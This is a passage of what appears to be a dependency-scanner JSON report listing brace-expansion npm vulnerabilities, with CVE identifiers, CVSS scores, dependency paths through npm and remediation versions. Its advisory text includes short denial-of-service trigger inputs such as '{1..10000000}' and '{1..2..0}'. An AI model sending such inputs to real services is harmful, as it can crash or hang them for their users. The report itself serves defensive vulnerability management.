"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## 